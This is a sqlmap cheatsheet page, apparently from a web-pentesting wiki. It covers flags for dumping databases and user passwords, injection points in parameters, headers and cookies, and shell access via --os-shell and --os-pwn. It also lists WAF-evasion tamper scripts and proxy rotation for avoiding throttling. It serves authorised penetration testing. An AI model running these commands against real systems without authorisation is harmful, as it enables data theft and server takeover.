// HackTricks · Web Pentesting

SQLMap

SQLMap

This page is a compact operational guide for common sqlmap workflows. The more exhaustive SQLMap cheatsheet includes additional request, file-access, and tuning options.

Basic arguments for SQLmap

Generic

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

The --technique argument defines which SQL injection methods sqlmap will attempt.
Each character in the string represents a technique:[2]

LetterTechniqueDescription
BBoolean-based blindUses true/false conditions to infer data
EError-basedLeverages verbose DBMS error messages to exfiltrate results
UUNION queryInjects UNION SELECT statements to fetch data via the same channel
SStacked queriesAdds additional statements separated by ;
TTime-based blindRelies on delays (SLEEP, WAITFOR) to detect injection
QInline / out-of-bandUses functions such as LOAD_FILE() or OOB channels like DNS

Default order is BEUSTQ. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Retrieve Information

Internal

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Capture the request and create a req.txt file

sqlmap -r req.txt --current-user

GET Request Injection

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections in Headers and other HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Crawl a website with SQLmap and auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = accept default answers without interactive prompts
--crawl = set the crawler's maximum link depth
--forms = discover and test HTML forms

Customizing Injection

Set a suffix

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefix

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Help finding boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyReplaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.pyReplaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.pyAppends encoded NULL byte character at the end of payload
base64encode.pyBase64 all characters in a given payload
between.pyReplaces greater than operator (’>’) with ‘NOT BETWEEN 0 AND #’
bluecoat.pyReplaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.pyDouble url-encodes all characters in a given payload (not processing already encoded)
commalesslimit.pyReplaces instances like ‘LIMIT M, N’ with ‘LIMIT N OFFSET M’
commalessmid.pyReplaces instances like ‘MID(A, B, C)’ with ‘MID(A FROM B FOR C)’
concat2concatws.pyReplaces instances like ‘CONCAT(A, B)’ with ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyUrl-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.pyUnicode-url-encodes non-encoded characters in a given payload (not processing already encoded). “%u0022”
charunicodeescape.pyUnicode-url-encodes non-encoded characters in a given payload (not processing already encoded). “\u0022”
equaltolike.pyReplaces all occurrences of the equality operator (’=’) with LIKE
escapequotes.pySlash escape quotes (’ and ”)
greatest.pyReplaces greater than operator (’>’) with ‘GREATEST’ counterpart
halfversionedmorekeywords.pyAdds versioned MySQL comment before each keyword
ifnull2ifisnull.pyReplaces instances like ‘IFNULL(A, B)’ with ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyEmbraces complete query with versioned comment
modsecurityzeroversioned.pyEmbraces complete query with zero-versioned comment
multiplespaces.pyAdds multiple spaces around SQL keywords
nonrecursivereplacement.pyReplaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, "")) filters
percentage.pyAdds a percentage sign (’%’) in front of each character
overlongutf8.pyConverts all characters in a given payload (not processing already encoded)
randomcase.pyReplaces each keyword character with random case value
randomcomments.pyAdd random comments to SQL keywords
securesphere.pyAppends special crafted string
sp_password.pyAppends ‘sp_password’ to the end of the payload for automatic obfuscation from DBMS logs
space2comment.pyReplaces space character (’ ’) with comments
space2dash.pyReplaces space character (’ ’) with a dash comment (’—’) followed by a random string and a new line (‘\n’)
space2hash.pyReplaces space character (’ ’) with a pound character (’#’) followed by a random string and a new line (‘\n’)
space2morehash.pyReplaces space character (’ ’) with a pound character (’#’) followed by a random string and a new line (‘\n’)
space2mssqlblank.pyReplaces space character (’ ’) with a random blank character from a valid set of alternate characters
space2mssqlhash.pyReplaces space character (’ ’) with a pound character (’#’) followed by a new line (‘\n’)
space2mysqlblank.pyReplaces space character (’ ’) with a random blank character from a valid set of alternate characters
space2mysqldash.pyReplaces space character (’ ’) with a dash comment (’—’) followed by a new line (‘\n’)
space2plus.pyReplaces space character (’ ’) with plus (’+’)
space2randomblank.pyReplaces space character (’ ’) with a random blank character from a valid set of alternate characters
symboliclogical.pyReplaces AND and OR logical operators with their symbolic counterparts (&& and ||)
unionalltounion.pyReplaces UNION ALL SELECT with UNION SELECT
unmagicquotes.pyReplaces quote character (’) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.pyReplaces each keyword character with upper case value ‘INSERT’
varnish.pyAppend a HTTP header ‘X-originating-IP’
versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.pyEncloses each keyword with versioned MySQL comment
xforwardedfor.pyAppend a fake HTTP header ‘X-Forwarded-For’
luanginxmore.pyPOST-only tamper that prepends millions of dummy parameters to exhaust Lua‑Nginx WAF parsers (e.g., Cloudflare).

luanginxmore generates ~4.2M random POST parameters before your payload; use it only with --method=POST and expect large request sizes to crash poorly configured Lua-Nginx WAFs.[3]

Recent switches worth enabling (>=1.9.x)

  • HTTP/2 transport: --http2 forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with --force-ssl to pin HTTPS.[4]
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.[1]
  • Offline / purge modes: --offline reuses cached session data without touching the target (zero network traffic), while --purge securely wipes the session/output directory when you’re done.
  • Mobile UA emulation: --mobile prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients.

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.